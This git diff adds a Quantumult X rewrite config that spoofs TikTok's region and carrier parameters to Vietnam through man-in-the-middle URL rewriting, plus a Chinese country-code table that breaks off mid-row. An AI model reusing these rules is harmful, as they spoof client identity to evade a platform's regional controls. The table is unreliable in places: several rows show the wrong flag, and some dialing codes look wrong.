a/QuantumultX/rewrite/unlock/TikTok/TiktokVN.conf b/QuantumultX/rewrite/unlock/TikTok/TiktokVN.conf new file mode 100644 index 00000000..13aa1957 --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/TiktokVN.conf @@ -0,0 +1,7 @@ +# TikTok 越南 +(?<=_region=)CN(?=&) url 307 VN +(?<=&mcc_mnc=)4 url 307 2 +^(https?:\/\/(tnc|dm)[\w-]+\.\w+\.com\/.+)(\?)(.+) url 302 $1$3 +(?<=\d\/\?\w{7}_\w{4}=)1[6-9]..(?=.?.?&) url 307 17 + +hostname = *.tiktokv.com,*.byteoversea.com,*.tik-tokapi.com diff --git a/QuantumultX/rewrite/unlock/TikTok/国家代码.md b/QuantumultX/rewrite/unlock/TikTok/国家代码.md new file mode 100644 index 00000000..96634a83 --- /dev/null +++ b/QuantumultX/rewrite/unlock/TikTok/国家代码.md @@ -0,0 +1,287 @@ +### 1️⃣ 注意:对于版本号在21.0以上的tiktok已失效 + +### 2️⃣ 国家代码简介: +- 1、国家代码是一组用来代表国家和境外领土的地理代码; +- 2、国家代码是由字母或数字组成的短字串,方便用于数据处理和通讯; +- 3、ISO 3166-1提供了国家地区代码的三种表现方式,具体包括: + - 两字母代码(ISO 3166-1 alpha-2):由两字符拉丁字母组成的代码。这种代码拥有多种用途,其中最重要的一个用途与互联网的地理级别域名有关; + - 三字母代码(ISO 3166-1 alpha-3):由三字符拉丁字母组成的代码; + - 数字代码(ISO 3166-1 numeric):由三位阿拉伯数字组成的代码; +- 4、表格中 SN 列仅用于本页面项目的索引,无其它意义; +- 5、移动端: 若在表格最左侧看到 号,可单击该 号查看详情; +- 6、电脑端: Ctrl+D(收藏本网页), Ctrl+S(保存本网页到电脑), Ctrl+F(在本网页查找字符); +- 7、以下内容按照英文简称的字母顺序排序; + + +### 3️⃣ 国家代码对照表 +| 序号 | 字母顺序 | 中文简称 | 英文简称 | ISO 2 | ISO 3 | 数字代码 | 电话区号 | 域名后缀 | 备注 | +|:---:|:---------------------------------------------------------------------------------------------------------------------------------------:|:------------:|:--------------------------------------------:|:-----:|:-----:|:----:|:-------------:|:----:|:--------------------------------------------------------:| +| | A | | | | | | | | | +| 1 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Afghanistan.svg.png) | 阿富汗 | Afghanistan | AF | AFG | 004 | 93 | .af | the Islamic Republic of Afghanistan | +| 2 | | 奥兰群岛 | Aland Islands | AX | ALA | 248 | 358 18 | .ax | ISO 3166-1:2006新增 | +| 3 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Albania.svg.webp) | 阿尔巴尼亚 | Albania | AL | ALB | 008 | 355 | .al | the Republic of Albania | +| 4 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Algeria.svg.webp) | 阿尔及利亚 | Algeria | DZ | DZA | 012 | 213 | .dz | the People's Democratic Republic of Algeria | +| 5 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_American_Samoa.svg.png) | 美属萨摩亚 | American Samoa | AS | ASM | 016 | 1 684 | .as | | +| 6 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Andorra.svg.png) | 安道尔 | Andorra | AD | AND | 020 | 376 | .ad | the Principality of Andorra | +| 7 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Angola.svg.png) | 安哥拉 | Angola | AO | AGO | 024 | 244 | .ao | the Republic of Angola | +| 8 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Anguilla.svg.png) | 安圭拉 | Anguilla | AI | AIA | 660 | 1 264 | .ai | | +| 9 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Proposed_flag_of_Antarctica_%28Graham_Bartram%29.svg.png) | 南极洲 | Antarctica | AQ | ATA | 010 | 6721 | .aq | | +| 10 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Antigua_and_Barbuda.svg.png) | 安提瓜和巴布达 | Antigua and Barbuda | AG | ATG | 028 | 1 268 | .ag | | +| 11 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Argentina.svg.png) | 阿根廷 | Argentina | AR | ARG | 032 | 54 | .ar | the Argentine Republic | +| 12 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Armenia.svg.png) | 亚美尼亚 | Armenia | AM | ARM | 051 | 374 | .am | the Republic of Armenia | +| 13 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Afghanistan.svg.png) | 阿鲁巴 | Aruba | AW | ABW | 533 | 297 | .aw | | +| 14 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Australia.svg.png) | 澳大利亚 | Australia | AU | AUS | 036 | 61 | .au | | +| 15 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Austria.svg.png) | 奥地利 | Austria | AT | AUT | 040 | 43 | .at | the Republic of Austria | +| 16 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Azerbaijan.svg.png) | 阿塞拜疆 | Azerbaijan | AZ | AZE | 031 | 994 | .az | the Republic of Azerbaijan | +| | B | | | | | | | | | +| 17 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Bahamas.svg.png) | 巴哈马 | Bahamas | BS | BHS | 044 | 1 242 | .bs | the Commonwealth of The Bahamas | +| 18 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Bahrain.svg.png) | 巴林 | Bahrain | BH | BHR | 048 | 973 | .bh | the Kingdom of Bahrain | +| 19 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Bangladesh.svg.png) | 孟加拉国 | Bangladesh | BD | BGD | 050 | 880 | .bd | the People's Republic of Bangladesh | +| 20 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Barbados.svg.png) | 巴巴多斯 | Barbados | BB | BRB | 052 | 1 246 | .bb | | +| 21 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Belarus.svg.png) | 白俄罗斯 | Belarus | BY | BLR | 112 | 375 | .by | the Republic of Belarus | +| 22 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Belgium_%28civil%29.svg.png) | 比利时 | Belgium | BE | BEL | 056 | 32 | .be | the Kingdom of Belgium | +| 23 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Belize.svg.png) | 伯利兹 | Belize | BZ | BLZ | 084 | 501 | .bz | | +| 24 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Benin.svg.png) | 贝宁 | Benin | BJ | BEN | 204 | 229 | .bj | the Republic of Benin | +| 25 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Bermuda.svg.png) | 百慕大 | Bermuda | BM | BMU | 060 | 1 441 | .bm | | +| 26 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Bhutan.svg.png) | 不丹 | Bhutan | BT | BTN | 064 | 975 | .bt | the Kingdom of Bhutan | +| 27 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Bolivia.svg.png) | 玻利维亚 | Bolivia | BO | BOL | 068 | 591 | .bo | the Republic of Bolivia | +| 28 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Bosnia_and_Herzegovina.svg.png) | 波黑 | Bosnia and Herzegovina | BA | BIH | 070 | 387 | .ba | | +| 29 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Botswana.svg.png) | 博茨瓦纳 | Botswana | BW | BWA | 072 | 267 | .bw | the Republic of Botswana | +| 30 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Norway.svg.png) | 布维岛 | Bouvet Island | BV | BVT | 074 | 47 | .bv | | +| 31 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Brazil.svg.png) | 巴西 | Brazil | BR | BRA | 076 | 55 | .br | the Federative Republic of Brazil | +| 32 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_British_Indian_Ocean_Territory.svg.png) | 英属印度洋领地 | British Indian Ocean Territory | IO | IOT | 086 | 246 | .io | | +| 33 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Brunei.svg.png) | 文莱 | Brunei Darussalam | BN | BRN | 096 | 673 | .bn | | +| 34 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Bulgaria.svg.png) | 保加利亚 | Bulgaria | BG | BGR | 100 | 359 | .bg | the Republic of Bulgaria | +| 35 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Burkina_Faso.svg.png) | 布基纳法索 | Burkina Faso | BF | BFA | 854 | 226 | .bf | | +| 36 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Burundi.svg.png) | 布隆迪 | Burundi | BI | BDI | 108 | 257 | .bi | the Republic of Burundi | +| | C | | | | | | | | | +| 37 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Cambodia.svg.png) | 柬埔寨 | Cambodia | KH | KHM | 116 | 855 | .kh | the Kingdom of Cambodia | +| 38 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Cameroon.svg.png) | 喀麦隆 | Cameroon | CM | CMR | 120 | 237 | .cm | the Republic of Cameroon | +| 39 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Canada.svg.png) | 加拿大 | Canada | CA | CAN | 124 | 1 | .ca | | +| 40 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Cape_Verde.svg.png) | 佛得角 | Cape Verde | CV | CPV | 132 | 238 | .cv | the Republic of Cape Verde | +| 41 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Cayman_Islands.svg.png) | 开曼群岛 | Cayman Islands | KY | CYM | 136 | 1 345 | .ky | | +| 42 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Central_African_Republic.svg.png) | 中非 | Central African Republic | CF | CAF | 140 | 236 | .cf | the Central African Republic | +| 43 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Chad.svg.png) | 乍得 | Chad | TD | TCD | 148 | 235 | .td | the Republic of Chad | +| 44 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Chile.svg.png) | 智利 | Chile | CL | CHL | 152 | 56 | .cl | the Republic of Chile | +| 45 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_People%27s_Republic_of_China.svg.png) | 中国 | China | CN | CHN | 156 | 86 | .cn | the People's Republic of China | +| 46 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Christmas_Island.svg.png) | 圣诞岛 | Christmas Island | CX | CXR | 162 | 61 | .cx | | +| 47 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Cocos_%28Keeling%29_Islands.svg.png) | 科科斯(基林)群岛 | Cocos (Keeling) Islands | CC | CCK | 166 | 61 | .cc | | +| 48 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Colombia.svg.png) | 哥伦比亚 | Colombia | CO | COL | 170 | 57 | .co | the Republic of Colombia | +| 49 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Comoros.svg.png) | 科摩罗 | Comoros | KM | COM | 174 | 269 | .km | the Union of the Comoros | +| 50 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Republic_of_the_Congo.svg.png) | 刚果(布) | Congo | CG | COG | 178 | 243 | .cg | the Republic of the Congo | +| 51 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Democratic_Republic_of_the_Congo.svg.png) | 刚果(金) | Congo | CD | COD | 180 | 242 | .cd | the Democratic Republic of the Congo | +| 52 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Cook_Islands.svg.png) | 库克群岛 | Cook Islands | CK | COK | 184 | 682 | .ck | | +| 53 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Costa_Rica.svg.png) | 哥斯达黎加 | Costa Rica | CR | CRI | 188 | 506 | .cr | the Republic of Costa Rica | +| 54 | | 科特迪瓦 | Côte d'Ivoire | CI | CIV | 384 | 225 | .ci | the Republic of Côte d'Ivoire | +| 55 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Croatia.svg.png) | 克罗地亚 | Croatia | HR | HRV | 191 | 385 | .hr | the Republic of Croatia | +| 56 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Cuba.svg.png) | 古巴 | Cuba | CU | CUB | 192 | 53 | .cu | the Republic of Cuba | +| 57 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Cyprus.svg.png) | 塞浦路斯 | Cyprus | CY | CYP | 196 | 357 | .cy | the Republic of Cyprus | +| 58 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Czech_Republic.svg.png) | 捷克 | Czech Republic | CZ | CZE | 203 | 420 | .cz | the Czech Republic | +| | D | | | | | | | | | +| 59 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Denmark.svg.png) | 丹麦 | Denmark | DK | DNK | 208 | 45 | .dk | the Kingdom of Denmark | +| 60 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Djibouti.svg.png) | 吉布提 | Djibouti | DJ | DJI | 262 | 253 | .dj | the Republic of Djibouti | +| 61 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Dominica.svg.png) | 多米尼克 | Dominica | DM | DMA | 212 | 1 767 | .dm | the Commonwealth of Dominica | +| 62 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Dominican_Republic.svg.png) | 多米尼加 | Dominican Republic | DO | DOM | 214 | 1 809/829/849 | .do | the Dominican Republic | +| | E | | | | | | | | | +| 63 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Ecuador.svg.png) | 厄瓜多尔 | Ecuador | EC | ECU | 218 | 593 | .ec | the Republic of Ecuador | +| 64 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Egypt.svg.png) | 埃及 | Egypt | EG | EGY | 818 | 20 | .eg | the Arab Republic of Egypt | +| 65 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_El_Salvador.svg.png) | 萨尔瓦多 | El Salvador | SV | SLV | 222 | 503 | .sv | the Republic of El Salvador | +| 66 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Equatorial_Guinea.svg.png) | 赤道几内亚 | Equatorial Guinea | GQ | GNQ | 226 | 240 | .gq | the Republic of Equatorial Guinea | +| 67 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Eritrea.svg.png) | 厄立特里亚 | Eritrea | ER | ERI | 232 | 291 | .er | | +| 68 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Estonia.svg.png) | 爱沙尼亚 | Estonia | EE | EST | 233 | 372 | .ee | the Republic of Estonia | +| 69 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Ethiopia.svg.png) | 埃塞俄比亚 | Ethiopia | ET | ETH | 231 | 251 | .et | the Federal Democratic Republic of Ethiopia | +| | F | | | | | | | | | +| 70 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Falkland_Islands.svg.png) | 福克兰群岛 | Falkland Islands | FK | FLK | 238 | 500 | .fk | | +| 71 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Faroe_Islands.svg.png) | 法罗群岛 | Faroe Islands | FO | FRO | 234 | 298 | .fo | | +| 72 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Fiji.svg.png) | 斐济 | Fiji | FJ | FJI | 242 | 679 | .fj | the Republic of the Fiji Islands | +| 73 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Finland.svg.png) | 芬兰 | Finland | FI | FIN | 246 | 358 | .fi | the Republic of Finland | +| 74 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_France.svg.png) | 法国 | France | FR | FRA | 250 | 33 | .fr | the French Republic | +| 75 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_France.svg.png) | 法属圭亚那 | French Guiana | GF | GUF | 254 | 594 | .gf | | +| 76 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_French_Polynesia.svg.png) | 法属波利尼西亚 | French Polynesia | PF | PYF | 258 | 689 | .pf | | +| 77 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_French_Southern_and_Antarctic_Lands.svg.png) | 法属南部领地 | French Southern Territories | TF | ATF | 260 | - | .tf | | +| | G | | | | | | | | | +| 78 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Gabon.svg.png) | 加蓬 | Gabon | GA | GAB | 266 | 241 | .ga | the Gabonese Republic | +| 79 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_The_Gambia.svg.png) | 冈比亚 | Gambia | GM | GMB | 270 | 220 | .gm | the Republic of The Gambia | +| 80 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Georgia.svg.png) | 格鲁吉亚 | Georgia | GE | GEO | 268 | 995 | .ge | | +| 81 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Germany.svg.png) | 德国 | Germany | DE | DEU | 276 | 49 | .de | he Federal Republic of Germany | +| 82 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Afghanistan.svg.png) | 加纳 | Ghana | GH | GHA | 288 | 233 | .gh | the Republic of Ghana | +| 83 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Gibraltar.svg.png) | 直布罗陀 | Gibraltar | GI | GIB | 292 | 350 | .gi | | +| 84 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Greece.svg.png) | 希腊 | Greece | GR | GRC | 300 | 30 | .gr | the Hellenic Republic | +| 85 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Greenland.svg.png) | 格陵兰 | Greenland | GL | GRL | 304 | 299 | .gl | | +| 86 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Grenada.svg.png) | 格林纳达 | Grenada | GD | GRD | 308 | 1 473 | .gd | | +| 87 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_France.svg.png) | 瓜德罗普 | Guadeloupe | GP | GLP | 312 | 590 | .gp | | +| 88 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Guam.svg.png) | 关岛 | Guam | GU | GUM | 316 | 1 671 | .gu | | +| 89 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Guatemala.svg.png) | 危地马拉 | Guatemala | GT | GTM | 320 | 502 | .gt | the Republic of Guatemala | +| 90 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Guernsey.svg.png) | 格恩西岛 | Guernsey | GG | GGY | 831 | 44 | .gg | ISO 3166-1:2006新增 | +| 91 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Guinea.svg.png) | 几内亚 | Guinea | GN | GIN | 324 | 224 | .gn | the Republic of Guinea | +| 92 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Guinea-Bissau.svg.png) | 几内亚比绍 | Guinea-Bissau | GW | GNB | 624 | 245 | .gw | the Republic of Guinea-Bissau | +| 93 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Guyana.svg.png) | 圭亚那 | Guyana | GY | GUY | 328 | 592 | .gy | the Republic of Guyana | +| | H | | | | | | | | | +| 94 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Haiti.svg.png) | 海地 | Haiti | HT | HTI | 332 | 509 | .ht | the Republic of Haiti | +| 95 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Australia.svg.png) | 赫德岛和麦克唐纳岛 | Heard Island and McDonald Islands | HM | HMD | 334 | 1 672 | .hm | | +| 96 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/20px-Flag_of_the_Vatican_City.svg.png) | 梵蒂冈 | Holy See | VA | VAT | 336 | 379 | .va | ISO 3166.1:2006调整英文名称,代码未变 | +| 97 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Honduras.svg.png) | 洪都拉斯 | Honduras | HN | HND | 340 | 504 | .hn | the Republic of Honduras | +| 98 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Hong_Kong.svg.png) | 香港 | Hong Kong | HK | HKG | 344 | 852 | .hk | the Hong Kong Special Administrative Region of China | +| 99 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Hungary.svg.png) | 匈牙利 | Hungary | HU | HUN | 348 | 36 | .hu | the Republic of Hungary | +| | I | | | | | | | | | +| 100 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Iceland.svg.png) | 冰岛 | Iceland | IS | ISL | 352 | 354 | .is | the Republic of Iceland | +| 101 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_India.svg.png) | 印度 | India | IN | IND | 356 | 91 | .in | the Republic of India | +| 102 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Indonesia.svg.png) | 印度尼西亚 | Indonesia | ID | IDN | 360 | 62 | .id | the Republic of Indonesia | +| 103 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Iran.svg.png) | 伊朗 | Iran | IR | IRN | 364 | 98 | .ir | the Islamic Republic of Iran | +| 104 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Iraq.svg.png) | 伊拉克 | Iraq | IQ | IRQ | 368 | 964 | .iq | the Republic of Iraq | +| 105 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Ireland.svg.png) | 爱尔兰 | Ireland | IE | IRL | 372 | 353 | .ie | | +| 106 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Isle_of_Man.svg.png) | 英国属地曼岛 | Isle of Man | IM | IMN | 833 | 44 | .im | ISO 3166-1:2006新增 | +| 107 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Israel.svg.png) | 以色列 | Israel | IL | ISR | 376 | 972 | .il | the State of Israel | +| 108 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Italy.svg.png) | 意大利 | Italy | IT | ITA | 380 | 39 | .it | the Republic of Italy | +| | J | | | | | | | | | +| 109 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Jamaica.svg.png) | 牙买加 | Jamaica | JM | JAM | 388 | 1 876 | .jm | | +| 110 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Japan.svg.png) | 日本 | Japan | JP | JPN | 392 | 81 | .jp | | +| 111 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Jersey.svg.png) | 泽西岛 | Jersey | JE | JEY | 832 | 44 | .je | ISO 3166-1:2006新增 | +| 112 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Jordan.svg.png) | 约旦 | Jordan | JO | JOR | 400 | 962 | .jo | the Hashemite Kingdom of Jordan | +| | K | | | | | | | | | +| 113 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Kazakhstan.svg.png) | 哈萨克斯坦 | Kazakhstan | KZ | KAZ | 398 | 7 | .kz | the Republic of Kazakhstan | +| 114 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Kenya.svg.png) | 肯尼亚 | Kenya | KE | KEN | 404 | 254 | .ke | the Republic of Kenya | +| 115 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Kiribati.svg.png) | 基里巴斯 | Kiribati | KI | KIR | 296 | 686 | .ki | the Republic of Kiribati | +| 116 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_North_Korea.svg.png) | 朝鲜 | Korea | KP | PRK | 408 | 850 | .kp | the Democratic People's Republic of Korea | +| 117 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_South_Korea.svg.png) | 韩国 | Korea | KR | KOR | 410 | 82 | .kr | the Republic of Korea | +| 118 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Kuwait.svg.png) | 科威特 | Kuwait | KW | KWT | 414 | 965 | .kw | the State of Kuwait | +| 119 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Kyrgyzstan.svg.png) | 吉尔吉斯斯坦 | Kyrgyzstan | KG | KGZ | 417 | 996 | .kg | the Kyrgyz Republic | +| | L | | | | | | | | | +| 120 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Laos.svg.png) | 老挝 | Lao People's Democratic Republic | LA | LAO | 418 | 856 | .la | the Lao People's Democratic Republic | +| 121 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Latvia.svg.png) | 拉脱维亚 | Latvia | LV | LVA | 428 | 371 | .lv | the Republic of Latvia | +| 122 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Lebanon.svg.png) | 黎巴嫩 | Lebanon | LB | LBN | 422 | 961 | .lb | the Lebanese Republic | +| 123 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Lesotho.svg.png) | 莱索托 | Lesotho | LS | LSO | 426 | 266 | .ls | the Kingdom of Lesotho | +| 124 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Liberia.svg.png) | 利比里亚 | Liberia | LR | LBR | 430 | 231 | .lr | the Republic of Liberia | +| 125 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Libya.svg.png) | 利比亚 | Libyan Arab Jamahiriya | LY | LBY | 434 | 218 | .ly | the Socialist People's Libyan Arab Jamahiriya | +| 126 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Liechtenstein.svg.png) | 列支敦士登 | Liechtenstein | LI | LIE | 438 | 423 | .li | the Principality of Liechtenstein | +| 127 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Lithuania.svg.png) | 立陶宛 | Lithuania | LT | LTU | 440 | 370 | .lt | the Republic of Lithuania | +| 128 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Luxembourg.svg.png) | 卢森堡 | Luxembourg | LU | LUX | 442 | 352 | .lu | the Grand Duchy of Luxembourg | +| | M | | | | | | | | | +| 129 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Macau.svg.png) | 澳门 | Macao | MO | MAC | 446 | 853 | .mo | Macao Special Administrative Region of China | +| 130 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_North_Macedonia.svg.png) | 北马其顿 | Macedonia | MK | MKD | 807 | 389 | .mk | the former Yugoslav Republic of Macedonia | +| 131 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Madagascar.svg.png) | 马达加斯加 | Madagascar | MG | MDG | 450 | 261 | .mg | the Republic of Madagascar | +| 132 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Malawi.svg.png) | 马拉维 | Malawi | MW | MWI | 454 | 265 | .mw | the Republic of Malawi | +| 133 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Malaysia.svg.png) | 马来西亚 | Malaysia | MY | MYS | 458 | 60 | .my | | +| 134 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Maldives.svg.png) | 马尔代夫 | Maldives | MV | MDV | 462 | 960 | .mv | the Republic of Maldives | +| 135 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Mali.svg.png) | 马里 | Mali | ML | MLI | 466 | 223 | .ml | the Republic of Mali | +| 136 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_Malta.svg.png) | 马耳他 | Malta | MT | MLT | 470 | 356 | .mt | the Republic of Malta | +| 137 | ![img](https://www.guojiadaima.com/Static/Default/images/countrys/00/22px-Flag_of_the_Marshall_Islands.svg.png) | 马绍尔群岛 | Marshall Islands | MH | MHL | 584 